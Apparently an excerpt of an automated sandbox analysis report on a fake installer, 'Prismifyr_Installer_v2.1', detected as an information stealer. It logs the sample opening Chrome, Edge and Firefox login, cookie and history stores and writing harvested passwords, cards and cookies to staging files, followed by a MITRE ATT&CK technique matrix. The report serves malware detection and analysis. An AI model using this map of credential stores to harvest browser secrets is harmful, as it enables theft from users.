Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\NWCXBPIUYI VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\PIVFAGEAAV VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\QCFWYSKMHA VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Music VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents\QNCYCDFIJJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents\SUAVTZKNFL.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents\ZGGKNSUKOP.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads\EEGWXUHVUG.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads\GAOBCVIQIJ.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads\PALRGUCVEH.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads\PWCCAWLGRE.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads\QCFWYSKMHA.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents\QNCYCDFIJJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\BNAGMGSPLO.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Downloads\QNCYCDFIJJ.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\SUAVTZKNFL.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents\JDDHMPCDUJ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GAOBCVIQIJ.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GAOBCVIQIJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QLSSZNHVJI.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QNCYCDFIJJ.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWKDBEMPGR.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZGGKNSUKOP.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Videos\desktop.ini VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\BNAGMGSPLO.jpg VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\QNCYCDFIJJ.pdf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.mp3 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Desktop\SUAVTZKNFL.xlsx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Pictures VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.docx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\screenCapture_1.3.2.bat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\app.manifest VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Passwords\Passwords.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Autofills\Autofills.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Wallets VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\History\History.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Passwords\Passwords.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Affiliation Database VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Action Predictor VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Shortcuts-journal VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Vpn Tokens-journal VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\ProgramData\Passwords\Passwords.txt VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Users\user\Documents VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe VolumeInformation

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

0_2_0040338F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Detected generic credential text file

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Credit Card\Cards.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Cookies\Google_Default.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Passwords\Passwords.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\ProgramData\Passwords\Passwords.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File created: C:\ProgramData\Steam\Launcher\2bqvZYHO\EN-472847\Autofills\Autofills.txt	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\passwords.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Vortex_Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\webdata.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\history.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\history.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Windows Service	1 Access Token Manipulation	11 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Scripting	1 Windows Service	1 Disable or Modify Tools	11 Input Capture	3 Process Discovery	Remote Desktop Protocol	11 Input Capture	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	11 Registry Run Keys / Startup Folder	12 Process Injection	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	NTDS	1 Application Window Discovery	Distributed Component Object Model	21 Data from Local System	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	12 Process Injection	LSA Secrets	1 Remote System Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	37 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner
C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\d3dcompiler_47.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\ffmpeg.dll	0%	ReversingLabs
